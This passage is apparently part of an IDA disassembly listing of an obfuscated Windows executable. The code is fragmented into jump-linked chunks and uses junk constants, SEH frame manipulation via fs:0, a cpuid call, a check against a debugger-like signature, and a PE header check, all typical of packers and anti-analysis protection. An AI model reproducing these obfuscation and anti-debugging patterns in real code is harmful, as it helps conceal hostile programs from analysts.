sub_4227F5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_4227FD: ; CODE XREF: sub_42B9CF-6151j
sub ecx, 246A6247h
pop edx
jmp loc_42183B
; END OF FUNCTION CHUNK FOR sub_42B9CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_42280A: ; CODE XREF: sub_421402+6BD0j
; sub_42A8BB+7E5j
jmp loc_4229C6
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_422810: ; CODE XREF: _94j21ax3:004250CBj
jmp loc_42410D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422815 proc near ; CODE XREF: sub_423F7F+5986j
push ebp
mov ebp, esp
loc_422818: ; CODE XREF: _94j21ax3:00422A3Cj
call sub_423C3E
sub_422815 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422048
loc_42281D: ; CODE XREF: sub_422048+50C1j
jmp nullsub_46
; END OF FUNCTION CHUNK FOR sub_422048
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_422823: ; CODE XREF: sub_4294B3-450Dj
jmp loc_4218DE
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F65
loc_422828: ; CODE XREF: sub_428F65-4574j
jmp loc_422930
; END OF FUNCTION CHUNK FOR sub_428F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9E8
loc_42282D: ; CODE XREF: sub_42B9E8+1j
push 0
call sub_42936F
push eax
call sub_42283B
retn
; END OF FUNCTION CHUNK FOR sub_42B9E8
; =============== S U B R O U T I N E =======================================
sub_42283B proc near ; CODE XREF: sub_42B9E8-91B3p
var_8 = dword ptr -8
; FUNCTION CHUNK AT 004257F3 SIZE 00000015 BYTES
call sub_422CC1
loc_422840: ; CODE XREF: sub_425A09:loc_427838j
push ecx
mov [ebp-4], eax
push eax
push 1BC1EE20h
loc_42284A: ; CODE XREF: sub_423324:loc_423379j
jmp loc_4257F3
sub_42283B endp
; =============== S U B R O U T I N E =======================================
sub_42284F proc near ; CODE XREF: sub_424B01+4EF8p
; _94j21ax3:0042AEEEj
; FUNCTION CHUNK AT 00421105 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421221 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004214C0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00421526 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00421599 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00421776 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004219A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421B77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421B98 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00421F1C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00422115 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042236A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004224A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004227A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422882 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00422A9A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00422EC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422F9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423028 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004230C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004232A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423572 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004236F8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042376A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00423946 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042397F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424048 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424354 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004245EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042485B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424B1A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424CBF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424CDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042557D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004256A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425702 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00425784 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004258D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426480 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004270AE SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004270EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004272F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004274C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004274EC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00427536 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427BB3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427EEB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428073 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428160 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428A15 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428E91 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428F2E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00429022 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429473 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004296DC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00429D5D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429E74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A165 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A46E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A50C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A55D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042A6CD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042A930 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AB48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB95 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042ADF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AE83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B601 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B7DD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BAB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BD2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BEAC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C03A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C531 SIZE 0000000B BYTES
xchg eax, [esp+0]
pop eax
xor ecx, ecx
xor edx, edx
cpuid
jmp loc_425702
sub_42284F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
ror ebx, 0Eh
jmp sub_423324
; =============== S U B R O U T I N E =======================================
sub_422866 proc near ; CODE XREF: _94j21ax3:0042521Ep
; _94j21ax3:0042B135j
; FUNCTION CHUNK AT 00421E23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421EFA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422288 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423002 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423C17 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042486B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004251B8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426955 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00429515 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00429E97 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042A170 SIZE 0000000B BYTES
mov [esp+0], eax
pop eax
push eax
call sub_426B87
test eax, eax
jmp loc_421E23
sub_422866 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_422877: ; CODE XREF: _94j21ax3:0042858Ej
adc ebp, 45D8F4DFh
jmp loc_4284DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_422882: ; CODE XREF: sub_42284F+8DB4j
jbe sub_4281A5
jz loc_428A15
jmp loc_42A55D
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
call sub_422A67
; =============== S U B R O U T I N E =======================================
sub_422898 proc near ; CODE XREF: _94j21ax3:0042A289j
; sub_42B1F2p
var_8 = dword ptr -8
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00421F6A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042385B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042434F SIZE 00000005 BYTES
mov [esp+8+var_8], edx
pop edx
call sub_42C0BC
jno loc_421F6A
pushf
mov [esp+8+var_8], ecx
mov ecx, [esp+8+arg_4]
jmp loc_428EE8
sub_422898 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_4228B4: ; CODE XREF: sub_424C37+720Fj
xchg eax, esi
push esi
xchg eax, esi
push 82DE435Ah
add [esp+8+var_8], 7D21BDA6h
jmp loc_42A1AA
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
loc_4228CA: ; CODE XREF: _94j21ax3:0042727Fj
push 8F64D883h
mov ecx, 9E25AE62h
xor eax, 1180F137h
cmp ecx, ebx
jmp loc_42141C
; ---------------------------------------------------------------------------
shr eax, 7
jmp sub_42678A
; ---------------------------------------------------------------------------
loc_4228E9: ; CODE XREF: _94j21ax3:0042971Dj
mov dword ptr [ecx], 10001h
lea eax, sub_4228FF
mov [ecx+0B8h], eax
pop ecx
xor eax, eax
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4228FF proc near ; DATA XREF: _94j21ax3:004228EFo
; sub_428BBD:loc_42AD7Bo
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00424249 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00424582 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004259E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00426D78 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004279F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428CD5 SIZE 00000005 BYTES
pop large dword ptr fs:0
jmp loc_424249
sub_4228FF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42290B: ; DATA XREF: sub_4252BD+10o
xor eax, eax
; START OF FUNCTION CHUNK FOR sub_42291D
loc_42290D: ; CODE XREF: sub_42291D+9054j
pop large dword ptr fs:0
add esp, 4
retn
; END OF FUNCTION CHUNK FOR sub_42291D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427565
loc_422918: ; CODE XREF: sub_427565+Bj
jmp nullsub_47
; END OF FUNCTION CHUNK FOR sub_427565
; =============== S U B R O U T I N E =======================================
sub_42291D proc near ; CODE XREF: sub_4252BDp
; FUNCTION CHUNK AT 0042290D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042517A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B96A SIZE 0000000C BYTES
push large dword ptr fs:0
mov large fs:0, esp
jmp loc_42517A
sub_42291D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F65
loc_422930: ; CODE XREF: sub_428F65:loc_422828j
push 916DC9A3h
pop eax
and eax, ds:4000F0h
xor eax, 49545A47h
loc_422942: ; CODE XREF: _94j21ax3:loc_42C5FBj
test eax, 2000000h
jmp loc_428E78
; END OF FUNCTION CHUNK FOR sub_428F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4214E6
loc_42294D: ; CODE XREF: sub_4214E6+Dj
mov eax, [eax]
push eax
call sub_42BA8A
cmp dword ptr [ebp-0Ch], 0
jz loc_42B27B
jmp loc_4290DF
; END OF FUNCTION CHUNK FOR sub_4214E6
; ---------------------------------------------------------------------------
xor edx, 86CD35F6h
jmp sub_421558
; =============== S U B R O U T I N E =======================================
sub_42296F proc near ; CODE XREF: sub_42430C:loc_423A28p
mov [esp+0], eax
retn
sub_42296F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422973 proc near ; CODE XREF: sub_423324-1C20p
; sub_423324+455Dj
; FUNCTION CHUNK AT 004217A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425210 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426431 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042710E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004285E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042882E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00429C16 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A9B2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042B660 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BB18 SIZE 0000001B BYTES
push edx
mov [esp+0], ebp
mov ebp, esp
push ecx
cmp ds:dword_429F74, 0
jnz loc_42A9B2
jmp loc_42BB18
sub_422973 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
js loc_423D03
jmp loc_424C35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_422997: ; CODE XREF: sub_424C37-1AC4j
; DATA XREF: sub_42A8BB-3AD3o
add eax, 0B9D905E6h
cmp dword ptr [eax], 47424454h
jz loc_42A566
jmp loc_423CDD
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_4229AE: ; CODE XREF: _94j21ax3:00424711j
; sub_42C1AE-35AFj
rol eax, 4
xor eax, 0FD1FECD7h
and edx, eax
xchg edi, [esp+0]
call sub_427D65
; END OF FUNCTION CHUNK FOR sub_42C1AE
; START OF FUNCTION CHUNK FOR sub_427D53
loc_4229C1: ; CODE XREF: sub_427D53-5F12j
jmp sub_42463C
; END OF FUNCTION CHUNK FOR sub_427D53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4229C6: ; CODE XREF: sub_421402:loc_42280Aj
jz loc_4284D5
jmp loc_428FB3
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
call sub_42C057
test al, al
jz loc_422120
push eax
push 7582E9F5h
pop eax
jmp loc_429113
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_4229EA: ; CODE XREF: sub_429862-5FC1j
jnz loc_4299AB
jmp loc_42765D
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
loc_4229F5: ; CODE XREF: _94j21ax3:0042C170j
jnp loc_424B49
; =============== S U B R O U T I N E =======================================
sub_4229FB proc near ; CODE XREF: _94j21ax3:00422616p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00427A28 SIZE 0000001A BYTES
mov [esp+0], edx
pop edx
push 7CF340E9h
pop ecx
jmp loc_427A28
sub_4229FB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423081
loc_422A0A: ; CODE XREF: sub_423081:loc_422DD9j
jl loc_42C606
loc_422A10: ; CODE XREF: sub_42484C-CE9j
jmp loc_42C1A3
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
jo loc_427F35
jmp loc_42C385
; =============== S U B R O U T I N E =======================================
sub_422A20 proc near ; CODE XREF: sub_4249A9-2DF0p
; FUNCTION CHUNK AT 00422414 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042749D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004282EB SIZE 00000005 BYTES
mov [esp+0], eax
push 4
push 3C1A3556h
pop eax
or eax, 311EFBE0h
and eax, 0A19F08FEh
jmp loc_422414
sub_422A20 endp
; ---------------------------------------------------------------------------
jo loc_422818
jmp sub_427679
; ---------------------------------------------------------------------------
loc_422A47: ; DATA XREF: sub_429CAE:loc_428F91o
call sub_428B74
mov ds:dword_42C208, eax
xor eax, eax
mov [ebp-4], eax
; START OF FUNCTION CHUNK FOR sub_423614
loc_422A56: ; CODE XREF: sub_42B238-4CB2j
; sub_423614+8EFBj
jo loc_4251E8
push 351C7CD2h
pop eax
jmp loc_42BCC0
; END OF FUNCTION CHUNK FOR sub_423614
; =============== S U B R O U T I N E =======================================
sub_422A67 proc near ; CODE XREF: _94j21ax3:00422893p
; FUNCTION CHUNK AT 00424E94 SIZE 00000005 BYTES
xchg eax, [esp+0]
mov eax, [esp+0]
ror eax, 10h
mov ds:dword_425BC4, eax
jmp loc_424E94
sub_422A67 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_422A7B: ; CODE XREF: sub_42B238-4CACj
jz loc_42C0D5
jmp loc_42AA5A
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_422A86: ; CODE XREF: sub_4294B3-2A3j
cmp edi, edx
jmp loc_42847A
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
test eax, eax
jz loc_421242
jmp loc_42A9CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_422A9A: ; CODE XREF: sub_42284F+F35j
mov edx, eax
loc_422A9C: ; CODE XREF: sub_42284F:loc_4270EFj
lea eax, [ebp-2AAh]
cmp dword ptr [eax], 47424454h
jz loc_42A566
jmp loc_421B77
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_422AB3: ; CODE XREF: sub_423FCD+5969j
js loc_4241FF
shr eax, 16h
pop ecx
jmp loc_423E8E
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
loc_422AC2: ; DATA XREF: sub_42106D+7D4Co
xchg eax, [esp]
mov ebp, eax
mov eax, offset sub_422AD5
xchg eax, [esp]
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_422AD0: ; CODE XREF: sub_423324+8619j
jmp loc_422B27
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_422AD5 proc near ; DATA XREF: _94j21ax3:00422AC7o
; FUNCTION CHUNK AT 0042110F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004255BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004264C2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426591 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427B2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042936A SIZE 00000005 BYTES
mov eax, ds:dword_429F84
or eax, eax
jnz loc_426F0F
jmp loc_4255BA
sub_422AD5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_422AE8: ; CODE XREF: _94j21ax3:004259FEj
jnp sub_421C84
adc edx, edi
; START OF FUNCTION CHUNK FOR sub_423081
loc_422AF0: ; CODE XREF: sub_423081:loc_4259F0j
or eax, 9064288Fh
jnz loc_422DD4
loc_422AFC: ; CODE XREF: sub_426A9F:loc_428777j
; _94j21ax3:loc_42A7F6j
jmp loc_423047
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_422B01: ; CODE XREF: sub_42C24F-69A6j
jmp loc_424002
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_422B06: ; CODE XREF: sub_4272E9-3871j
jmp loc_426DF2
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
xchg esi, [eax]
jmp loc_422DCC
; =============== S U B R O U T I N E =======================================
sub_422B12 proc near ; CODE XREF: sub_421F28+59F4p
xchg eax, [esp+0]
mov eax, [esp+0]
ror eax, 0Fh
push ecx
push offset loc_4277E8
jmp nullsub_15
sub_422B12 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_422B27: ; CODE XREF: sub_423324:loc_422AD0j
pop esi
mov eax, [eax]
push eax
push 33A3E833h
mov [esp+20h+var_20], ecx
push 491B6C12h
pop ecx
or ecx, 0A7A47158h
jmp loc_429A45
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_422B44: ; CODE XREF: sub_42B856:loc_421C9Ej
jnz loc_42ACD9
jmp loc_424950
; END OF FUNCTION CHUNK FOR sub_42B856
; =============== S U B R O U T I N E =======================================
sub_422B4F proc near ; CODE XREF: sub_428090+Dp
; _94j21ax3:004290ADj
xchg ebx, [esp+0]
pop ebx
lea eax, [ebp-125h]
push eax
call sub_42780F
mov [ebp-4], eax
jmp loc_423F5C
sub_422B4F endp
; ---------------------------------------------------------------------------
mov edx, 81424EE7h
push ecx
; START OF FUNCTION CHUNK FOR sub_42266A
loc_422B6D: ; CODE XREF: sub_42266A:loc_42C331j
push 5C210D3Bh
pop ecx
add ecx, 0A42177C4h
jmp loc_421789
; END OF FUNCTION CHUNK FOR sub_42266A
; ---------------------------------------------------------------------------
push 393E2F70h
pop edx
xor edx, 685EFFD7h
jns loc_4266CB
; START OF FUNCTION CHUNK FOR sub_42B0C9
loc_422B90: ; CODE XREF: sub_42B0C9+Dj
jmp loc_429817
; END OF FUNCTION CHUNK FOR sub_42B0C9
; ---------------------------------------------------------------------------
push 6A1D0E0Ah
jmp loc_422ECB
; ---------------------------------------------------------------------------
xchg ebp, [eax]
jmp loc_421ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427ABD
loc_422BA6: ; CODE XREF: sub_427ABDj
push 6C4F3BC9h
mov eax, offset loc_422BB9
xchg eax, [esp+4+var_4]
retn
; END OF FUNCTION CHUNK FOR sub_427ABD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_422BB4: ; CODE XREF: sub_4294B3-442Cj
jmp loc_425429
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
loc_422BB9: ; DATA XREF: sub_427ABD-4F12o
and eax, ds:4000F9h
rol eax, 4
push offset loc_422D4D
jmp locret_422677
; ---------------------------------------------------------------------------
loc_422BCC: ; CODE XREF: _94j21ax3:00423018j
jno loc_424D31
jnz loc_42C2E9
; =============== S U B R O U T I N E =======================================
sub_422BD8 proc near ; CODE XREF: _94j21ax3:00427509p
xchg edx, [esp+0]
pop edx
pushf
mov [esp+0], eax
ror eax, 1Ch
mov ds:dword_42C214, eax
sub_422BD8 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_422BE9: ; CODE XREF: sub_4272E9+4F8Dj
jmp nullsub_184
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_422BEE: ; DATA XREF: sub_423284:loc_4239E7o
jnb loc_423E3F
mov eax, [ebp-4]
cmp byte ptr [eax], 0
jnz loc_428448
mov eax, [ebp-8]
mov byte ptr [eax], 0
mov esp, ebp
pop ebp
jmp locret_423E3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_422C0E: ; CODE XREF: sub_4272E9:loc_428ADCj
push eax
lea eax, sub_425157
xchg eax, ebx
push ebx
xchg eax, ebx
push offset sub_421BF6
jmp loc_42C46E
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_422C24: ; DATA XREF: sub_421047+98A8o
jnz loc_429C8F
mov eax, [ebp-20h]
push offset sub_424F07
jmp locret_42486A
; ---------------------------------------------------------------------------
loc_422C37: ; DATA XREF: _94j21ax3:00426739o
push eax
call sub_423F43
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424CF2
loc_422C3E: ; CODE XREF: sub_424CF2+Aj
jmp loc_423047
; END OF FUNCTION CHUNK FOR sub_424CF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_422C43: ; CODE XREF: sub_423F55+29Aj
jmp loc_4221C8
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_422C48 proc near ; CODE XREF: sub_424775:loc_423E53p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421FB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424523 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424594 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425A17 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426BAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427430 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004274C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428AC7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00429255 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00429549 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C1DD SIZE 0000001D BYTES
call sub_42A9E7
loc_422C4D: ; CODE XREF: sub_42B358-9B90j
mov esi, 4DCAE82Bh
loc_422C52: ; CODE XREF: sub_42B358-9B97j
add edi, 553555B4h
xchg edi, [esp+0]
jmp loc_4274C8
sub_422C48 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_422C60: ; CODE XREF: sub_425790:loc_4225FEj
jz loc_42C009
jmp loc_429C39
; END OF FUNCTION CHUNK FOR sub_425790
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_422C6C: ; CODE XREF: sub_425790-41CEj
jmp nullsub_113
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425808
loc_422C71: ; CODE XREF: sub_425808+Cj
xor eax, eax
mov al, [ebp-0Ah]
shr eax, 4
xor [ebp-0Ah], al
inc dword ptr [ebp-8]
inc dword ptr [ebp-4]
jmp loc_421D20
; END OF FUNCTION CHUNK FOR sub_425808
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_422C87: ; CODE XREF: sub_4232F5+8EB4j
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F6h
jz loc_42A3A2
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F7h
jmp loc_428B59
; END OF FUNCTION CHUNK FOR sub_4232F5
; =============== S U B R O U T I N E =======================================
sub_422CA6 proc near ; DATA XREF: _94j21ax3:0042919Ao
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004259CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004264EF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426621 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427DED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429324 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042AD44 SIZE 00000005 BYTES
test al, al
jz loc_4264EF
jmp loc_427DED
sub_422CA6 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_422CB4: ; DATA XREF: sub_42169F:loc_42715Bo
test al, al
jz loc_4283A8
jmp loc_42440A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422CC1 proc near ; CODE XREF: sub_42283Bp
; FUNCTION CHUNK AT 00429768 SIZE 00000005 BYTES
xchg ebp, [esp+0]
mov ebp, [esp+0]
mov ebp, esp
push offset loc_4276E2
jmp loc_429768
sub_422CC1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_422CD3: ; CODE XREF: sub_422392:loc_4273EBj
push ecx
mov esp, ebp
call sub_42454E
loc_422CDB: ; CODE XREF: sub_426CF4:loc_42BAACj
add eax, [esp+4+var_4]
adc edx, [esp+4]
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax], 4550h
jnz loc_423E68
jmp loc_42A188
